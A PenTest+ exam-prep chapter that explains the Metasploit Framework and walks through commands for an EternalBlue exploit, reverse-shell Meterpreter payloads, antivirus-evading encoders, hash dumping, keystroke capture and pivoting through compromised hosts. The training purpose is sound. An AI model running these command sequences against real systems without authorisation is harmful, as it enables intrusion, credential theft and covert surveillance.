# Metasploit Framework for PenTesters

> Chapter 16 of the Courseiva PENTEST-PLUS curriculum — https://courseiva.com/learn/pentest-plus/metasploit-framework

**Official objective:** 3.1 — Attacks Exploits

## Introduction

The Metasploit Framework is the most widely used exploitation framework in penetration testing, and it is heavily tested on the PT0-002 exam (approximately 10-15% of questions in the Attacks and Exploits domain). This chapter covers Metasploit's architecture, core components, and practical usage for exploitation, post-exploitation, and pivoting. You will learn how to select and configure exploits, payloads, and encoders, as well as how to use the Meterpreter shell for advanced post-exploitation. Mastery of Metasploit is essential for passing the exam and for real-world penetration testing.

## Metasploit as a Weaponized Swiss Army Knife

A master locksmith's tool case is a modular system holding dozens of specialised instruments. The case itself is Metasploit. Inside are dozens of individual tools: lockpicks (exploits), tension wrenches (payloads), bypass tools (encoders), and a notepad to record successful techniques (database). When the locksmith receives a job (penetration test), they first survey the lock (reconnaissance) to determine its make and model (target OS and service). They then select a specific lockpick designed for that lock type (exploit module). But a bare lockpick is useless without something to turn the cylinder—that's the payload. The locksmith attaches a tension wrench (payload) to the lockpick. Sometimes the lock has anti-pick pins (intrusion prevention), so the locksmith uses a special bypass tool (encoder) to modify the lockpick's shape slightly. The locksmith doesn't always have to pick the lock manually; they can use an electric pick gun (automated exploitation via msfconsole). The case also has a set of skeleton keys (meterpreter) that, once inserted, can open any door in the building (post-exploitation). The locksmith maintains a log of which techniques worked on which locks (database storage) so they can be reused. In a real engagement, the locksmith might be hired to test all locks in a high-security building. They walk the perimeter (scanning), identify each lock brand (service detection), then methodically work through their case. If a lockpick breaks (failed exploit), they try another. Once inside, they use the skeleton key to access all rooms (privilege escalation, lateral movement). The key point: Metasploit is not a single tool but a framework that orchestrates multiple components in a repeatable, modular way, just like the locksmith's case organizes specialized tools for each job.

## Core explanation

### What is Metasploit and Why Does It Exist?

The Metasploit Framework (MSF) is an open-source penetration testing platform that enables security professionals to develop, test, and execute exploit code against remote targets. It was created by H.D. Moore in 2003 and is now maintained by Rapid7. MSF provides a standardized way to package exploits, payloads, encoders, and auxiliary modules, making it possible to rapidly test vulnerabilities without writing exploit code from scratch. On the PT0-002 exam, you are expected to understand the framework's architecture and be able to use it in simulated scenarios.

### How Metasploit Works Internally

Metasploit is modular. Each component is a Ruby module that follows a specific API. The main components are:
- **Exploit modules**: Contain the code that triggers a vulnerability (e.g., buffer overflow, SQL injection). They define a target's platform, payload compatibility, and exploitation routine.
- **Payload modules**: Contain the code that runs after successful exploitation (e.g., reverse shell, Meterpreter). They are independent of exploits but must be compatible with the target's architecture and OS.
- **Encoder modules**: Transform payloads to avoid signature-based detection (e.g., shikata_ga_nai). They modify the payload's byte sequence while preserving functionality.
- **NOP generators**: Produce NOP sleds for buffer overflow exploits (e.g., x86/opty2).
- **Auxiliary modules**: Perform scanning, fuzzing, or denial-of-service tasks—they are not exploits.
- **Post-exploitation modules**: Run after a session is established (e.g., privilege escalation, credential dumping).

When you run an exploit in msfconsole, the framework:
1. Loads the exploit module and sets its options (RHOSTS, RPORT, etc.).
2. Loads the payload module and sets its options (LHOST, LPORT).
3. Optionally applies an encoder to the payload.
4. Generates the final exploit payload (shellcode) in memory.
5. Sends the exploit to the target. If successful, the target executes the payload, which connects back to the attacker's listener.
6. Establishes a session (e.g., Meterpreter, shell).

### Key Components, Values, Defaults, and Timers

- **msfconsole**: The primary interactive interface. Default prompt: `msf6 >`.
- **msfdb**: Manages the PostgreSQL database. Initialize with `msfdb init`. Stores workspace, hosts, services, vulnerabilities, and loot.
- **workspace**: Logical separation of data. Default workspace is "default". Create with `workspace -a <name>`.
- **search**: Finds modules by CVE, name, or platform. Example: `search type:exploit platform:windows cve:2021`.
- **use**: Selects a module. Example: `use exploit/windows/smb/ms17_010_eternalblue`.
- **show options**: Displays required and optional parameters for the current module.
- **set**: Assigns a value to a parameter. Example: `set RHOSTS 192.168.1.100`.
- **run** or **exploit**: Executes the module.
- **check**: Tests if the target is vulnerable without exploiting (not all modules support this).
- **sessions**: Lists active sessions. `sessions -i <id>` interacts with a session. `sessions -u <id>` upgrades a shell to Meterpreter.
- **LHOST**: Attacker's IP address for reverse connections. Default: none—must be set.
- **LPORT**: Attacker's listening port. Default varies by payload (e.g., 4444 for reverse_tcp).
- **RHOSTS**: Target IP address(es). Can be a range (e.g., 192.168.1.1/24) or file.
- **RPORT**: Target port. Default depends on service (e.g., 445 for SMB).
- **Payloads**: Common payloads include `windows/x64/meterpreter/reverse_tcp`, `linux/x86/shell_reverse_tcp`, `php/meterpreter_reverse_tcp`.
- **Encoders**: `x86/shikata_ga_nai` is the most common. Use `show encoders` to list all.
- **Meterpreter**: A multi-function payload that runs in memory and provides commands like `sysinfo`, `getuid`, `hashdump`, `screenshot`, `keyscan_start`, `migrate`.
- **Post modules**: Stored in `post/` directory. Example: `post/windows/gather/hashdump`.
- **Database commands**: `hosts`, `services`, `vulnerabilities`, `loot`, `creds`.

### Configuration and Verification Commands

To start Metasploit:
```
systemctl start postgresql
msfdb init
msfconsole
```

To verify database connection:
```
db_status
```

To import Nmap scan results:
```
db_import /path/to/nmap.xml
```

To run an exploit:
```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit
```

To upgrade a shell to Meterpreter:
```
sessions -u <session_id>
```

### How Metasploit Interacts with Related Technologies

- **Nmap**: Use `db_nmap` to run Nmap from within msfconsole and automatically store results in the database.
- **Nexpose/OpenVAS**: Import vulnerability scan results via `db_import` to correlate with available exploits.
- **Proxychains**: Route Metasploit traffic through a SOCKS proxy for pivoting. Configure `/etc/proxychains.conf` and prefix commands with `proxychains`.
- **Empire/PowerShell**: Metasploit can generate PowerShell payloads (`windows/powershell_reverse_tcp`) that run in memory without touching disk.

### Exam-Specific Details

- The `check` command is not supported by all exploits; you must know which ones support it (e.g., many SMB exploits).
- Meterpreter's `migrate` command moves the process to another running process to avoid detection. Common targets: `explorer.exe` or `svchost.exe`.
- `hashdump` requires SYSTEM privileges; use `getsystem` to escalate via token duplication or UAC bypass.
- `keyscan_start` and `keyscan_dump` capture keystrokes; requires Meterpreter in the correct desktop session.
- The `search` command supports `type:`, `platform:`, `cve:`, `name:` filters. Example: `search type:exploit platform:linux cve:2021`.
- Payloads are categorized as `singles`, `stagers`, and `stages`. A stager is a small initial shellcode that downloads the stage (larger payload). Meterpreter is a staged payload.
- `windows/meterpreter/reverse_tcp` is a staged payload; `windows/shell_reverse_tcp` is a single (inline) payload.
- Encoders can be applied multiple times (iterations). Use `set ENCODER x86/shikata_ga_nai` and `set ENCODERITERATIONS 5`.
- The `show advanced` command reveals additional options like `WfsDelay` (wait time for exploit success) and `PayloadExitBlock`.
- `setg` sets a global variable that persists across modules (e.g., `setg LHOST 192.168.1.50`).
- `unsetg` removes a global variable.
- `resource` runs a script of Metasploit commands (e.g., `resource /path/to/script.rc`).

## Real-world context

### Enterprise Scenario 1: Internal Network Penetration Test
A penetration tester is hired to assess a corporate network. After initial reconnaissance, they discover a Windows Server 2008 R2 host running SMB. Using Nmap, they confirm port 445 open. They launch Metasploit, import the Nmap results into a workspace, and search for SMB exploits. They select `ms17_010_eternalblue` for MS17-010. They set `RHOSTS` to the server IP and `PAYLOAD` to `windows/x64/meterpreter/reverse_tcp`. After exploitation, they get a SYSTEM-level Meterpreter session. They dump hashes with `hashdump` and use `migrate` to move to `lsass.exe` for stability. They then use the session as a pivot to scan internal subnets using `route add` and auxiliary modules. Common issue: The exploit fails if the target is patched; the tester must verify with `check` first. Another issue: Antivirus may block the payload; using encoders or custom payloads is necessary.

### Scenario 2: Web Application Exploitation
A tester finds a vulnerable web application with a remote file inclusion (RFI) vulnerability. They use Metasploit's `exploit/unix/webapp/rfi_php` module. They set `RHOSTS` to the web server, `TARGETURI` to the vulnerable parameter, and `PAYLOAD` to `php/meterpreter_reverse_tcp`. They set `LHOST` to their public IP. The exploit injects a PHP payload that connects back. However, the target network may have egress filtering blocking port 4444. The tester must change `LPORT` to 80 or 443 to evade. They also need to ensure the payload is not detected by WAF; using `php/base64` encoder helps.

### Scenario 3: Pivoting Through a Compromised Host
After gaining a Meterpreter session on a DMZ host, the tester wants to attack internal hosts not directly accessible. They add a route: `route add 10.0.0.0 255.0.0.0 <session_id>`. Then they use `auxiliary/scanner/portscan/tcp` with `RHOSTS` set to 10.0.0.0/24. The scan traffic is tunneled through the compromised host. They discover an internal SMB server and exploit it using the same session as a pivot. The key is to set `RHOSTS` to the internal IP and ensure the route is active. Performance can be slow due to double encapsulation. Misconfiguration: forgetting to add the route results in direct connection attempts that fail.

## Exam focus

### What PT0-002 Tests on Metasploit
PT0-002 objective 3.1 covers exploiting network-based vulnerabilities using Metasploit. The exam expects you to:
- Understand the Metasploit architecture (exploit, payload, encoder, auxiliary, post modules).
- Know how to search for and select modules using `search` with filters (type, platform, cve).
- Configure common options (RHOSTS, RPORT, LHOST, LPORT, PAYLOAD).
- Use Meterpreter commands (sysinfo, getuid, getsystem, hashdump, migrate, keyscan).
- Perform pivoting using `route add` and auxiliary modules.
- Upgrade a shell to Meterpreter with `sessions -u`.
- Import scan data with `db_import` and use `db_nmap`.

### Common Wrong Answers and Why Candidates Choose Them
1. **Choosing `exploit` instead of `run`**: Both work, but `exploit` is the traditional command. The exam may list both as options; either is correct. However, some modules require `run` for auxiliary modules. Candidates often confuse when to use which.
2. **Setting `LHOST` to the target IP**: This is a classic mistake. LHOST must be the attacker's IP. Candidates misread the variable name.
3. **Using `sessions -i` without specifying an ID**: This will error. The correct syntax includes the session number.
4. **Thinking `check` always works**: Many exploits do not support `check`. Candidates assume all exploits have this capability.

### Specific Numbers and Values Tested on the Exam
- Default LPORT for reverse_tcp: 4444.
- Meterpreter's `migrate` target: often `explorer.exe`.
- Encoder: `x86/shikata_ga_nai`.
- Command to list sessions: `sessions -l`.
- Command to interact: `sessions -i <id>`.
- Command to background: `background`.
- Database initialization: `msfdb init`.
- Workspace creation: `workspace -a <name>`.

### Edge Cases and Exceptions
- Payloads must match architecture: x64 payloads on x86 targets fail silently.
- Staged vs. inline payloads: Staged payloads are smaller but require a stager connection; inline payloads are self-contained.
- Encoders may break functionality if too many iterations.
- Meterpreter may crash on some systems; use `shell` as fallback.

### How to Eliminate Wrong Answers
- If the question asks about post-exploitation, look for Meterpreter-specific commands like `hashdump`, `migrate`, `keyscan`.
- If the question involves pivoting, the answer must include `route add` or using a session as a proxy.
- If the question is about initial setup, look for `msfdb init` or `db_status`.
- If the question involves payload, remember that `LHOST` is the attacker's IP, not the target's.

## Step by step

1. **Initialize Database and Start Console** — Before using Metasploit, ensure PostgreSQL is running and the database is initialized. Run `systemctl start postgresql` then `msfdb init`. This creates the `msf` database and populates the schema. Start msfconsole with `msfconsole`. You should see the `msf6 >` prompt. Verify database connectivity with `db_status`. If the database is not connected, you can still use Metasploit, but you lose the ability to store scan results, hosts, and credentials. The exam expects you to know that `msfdb init` is required for full functionality.
2. **Create Workspace and Import Scan Data** — Use `workspace -a <name>` to create a new workspace for the engagement. This isolates data from other projects. Import Nmap scan results using `db_import` or run Nmap directly with `db_nmap -sV <target>`. The database stores hosts, services, and port information. Use `hosts` and `services` to view imported data. This step is crucial for organizing findings and matching vulnerabilities to exploits. The exam may ask you to identify the correct command to import scan data.
3. **Search and Select an Exploit Module** — Use the `search` command to find an exploit matching the target's vulnerabilities. For example, `search type:exploit platform:windows cve:2017-0144` returns EternalBlue. Select the module with `use exploit/windows/smb/ms17_010_eternalblue`. Verify the module's options with `show options`. You must set `RHOSTS` to the target IP. The `check` command can be used to test if the target is vulnerable without exploiting. Note: Not all exploits support `check`. The exam expects you to know how to filter search results by type, platform, and CVE.
4. **Configure Payload and Encoder** — Set the payload with `set PAYLOAD windows/x64/meterpreter/reverse_tcp`. Configure `LHOST` to your IP and `LPORT` (default 4444). Optionally, set an encoder to evade antivirus: `set ENCODER x86/shikata_ga_nai`. You can also set encoder iterations: `set ENCODERITERATIONS 5`. Use `show payloads` to list compatible payloads for the exploit. The payload must match the target's architecture and OS. For example, x64 payloads require an x64 target. The exam may test your ability to select the correct payload type (staged vs. inline).
5. **Execute Exploit and Establish Session** — Run the exploit with `exploit` or `run`. Metasploit sends the exploit payload to the target. If successful, the target executes the payload, which connects back to your listener. A session is created. Use `sessions -l` to list active sessions. Interact with a session using `sessions -i <id>`. You will see a Meterpreter prompt (e.g., `meterpreter >`). If you get a shell instead, you can upgrade it to Meterpreter with `sessions -u <id>`. The exam expects you to know how to interact with sessions and upgrade shells.
6. **Perform Post-Exploitation with Meterpreter** — Once you have a Meterpreter session, run `sysinfo` to view system information, `getuid` to see current privileges, and `getsystem` to escalate to SYSTEM (if possible). Use `hashdump` to dump password hashes (requires SYSTEM). `keyscan_start` and `keyscan_dump` capture keystrokes. `screenshot` takes a screenshot. `migrate` moves Meterpreter to another process (e.g., `migrate -N explorer.exe`). Use `background` to return to msfconsole while keeping the session active. Post-exploitation modules can be run with `run post/windows/gather/hashdump`. The exam tests your knowledge of Meterpreter commands and their purposes.

## Comparisons

### Staged Payload (e.g., windows/meterpreter/reverse_tcp) vs Inline Payload (e.g., windows/shell_reverse_tcp)

**Staged Payload (e.g., windows/meterpreter/reverse_tcp):**
- Small initial stager (~300 bytes) that downloads the stage.
- Requires a second connection for the stage.
- More flexible; can be used with different stages.
- Better for low-bandwidth or high-latency links.
- May be detected by network inspection of the stager.

**Inline Payload (e.g., windows/shell_reverse_tcp):**
- Self-contained payload with all functionality in one blob.
- Single connection; no additional download.
- Larger size, may exceed buffer limits.
- Simpler to use and more reliable in some environments.
- Easier to detect due to larger size and static signature.

## Common misconceptions

- **Misconception:** Metasploit can only be used for exploitation. **Reality:** Metasploit includes auxiliary modules for scanning, fuzzing, and denial-of-service, and post-exploitation modules for privilege escalation, credential dumping, and lateral movement.
- **Misconception:** The `check` command works for all exploits. **Reality:** Only some exploits support `check`. Many modules do not have a reliable way to verify vulnerability without exploiting.
- **Misconception:** You must set `PAYLOAD` to a Meterpreter payload to get a shell. **Reality:** You can use single payloads like `windows/shell_reverse_tcp` to get a command shell without Meterpreter.
- **Misconception:** Meterpreter is a separate tool from Metasploit. **Reality:** Meterpreter is a payload module within the Metasploit Framework that provides advanced post-exploitation capabilities.
- **Misconception:** Encoders always bypass antivirus. **Reality:** Encoders only modify the payload's byte sequence to avoid signature detection. Modern AV uses heuristics and behavior analysis, which encoders may not evade.

## Key takeaways

- Metasploit Framework is modular with exploits, payloads, encoders, and auxiliary modules.
- Use `search type:exploit platform:windows cve:2021` to find relevant modules.
- Set `RHOSTS` to target IP and `LHOST` to your IP for reverse payloads.
- Default LPORT for reverse_tcp is 4444.
- Meterpreter commands: `sysinfo`, `getuid`, `getsystem`, `hashdump`, `migrate`, `keyscan_start`.
- Upgrade a shell to Meterpreter with `sessions -u <id>`.
- Pivoting requires adding a route with `route add <subnet> <netmask> <session_id>`.
- Database initialization: `msfdb init`.
- Import Nmap results with `db_import` or use `db_nmap`.
- Not all exploits support the `check` command.

## FAQ

**How do I start Metasploit with database support?**

First, ensure PostgreSQL is running: `systemctl start postgresql`. Then initialize the database with `msfdb init`. Finally, start msfconsole. Verify the database connection with `db_status`. If you skip `msfdb init`, the database will not be available, but msfconsole will still work.

**What is the difference between `exploit` and `run` in msfconsole?**

Both commands execute the selected module. `exploit` is traditionally used for exploit modules, while `run` is used for auxiliary modules. However, they are interchangeable in most cases. The exam may accept either, but it's good practice to use `exploit` for exploits and `run` for auxiliaries.

**How do I upgrade a command shell to Meterpreter?**

Use `sessions -u <session_id>` to upgrade a shell session to a Meterpreter session. This works only if the appropriate Meterpreter payload is available and the target supports it. If the upgrade fails, you can try using the `post/multi/manage/shell_to_meterpreter` module.

**What is the purpose of encoders in Metasploit?**

Encoders transform the payload's byte sequence to avoid signature-based detection by antivirus or intrusion detection systems. The most common encoder is `x86/shikata_ga_nai`. You can set the number of iterations with `set ENCODERITERATIONS 5`. However, encoders do not guarantee evasion against modern heuristics.

**How do I pivot through a compromised host using Metasploit?**

After gaining a Meterpreter session on the pivot host, add a route to the internal network: `route add <internal_subnet> <netmask> <session_id>`. Then use auxiliary modules (e.g., port scanner) with `RHOSTS` set to internal IPs. The traffic will be tunneled through the pivot host.

**What is the `check` command and when should I use it?**

The `check` command tests if a target is vulnerable to the selected exploit without actually exploiting it. It is supported by some modules (e.g., many SMB exploits). Use it to verify vulnerability before launching an exploit, reducing the risk of crashing the target. However, not all modules support `check`.

**How do I dump password hashes with Meterpreter?**

Use the `hashdump` command in a Meterpreter session. This requires SYSTEM privileges. If you are not SYSTEM, use `getsystem` to escalate (often via token duplication). The hashes are stored in the database and can be viewed with `loot`.

---

Interactive version with quiz and diagrams: https://courseiva.com/learn/pentest-plus/metasploit-framework
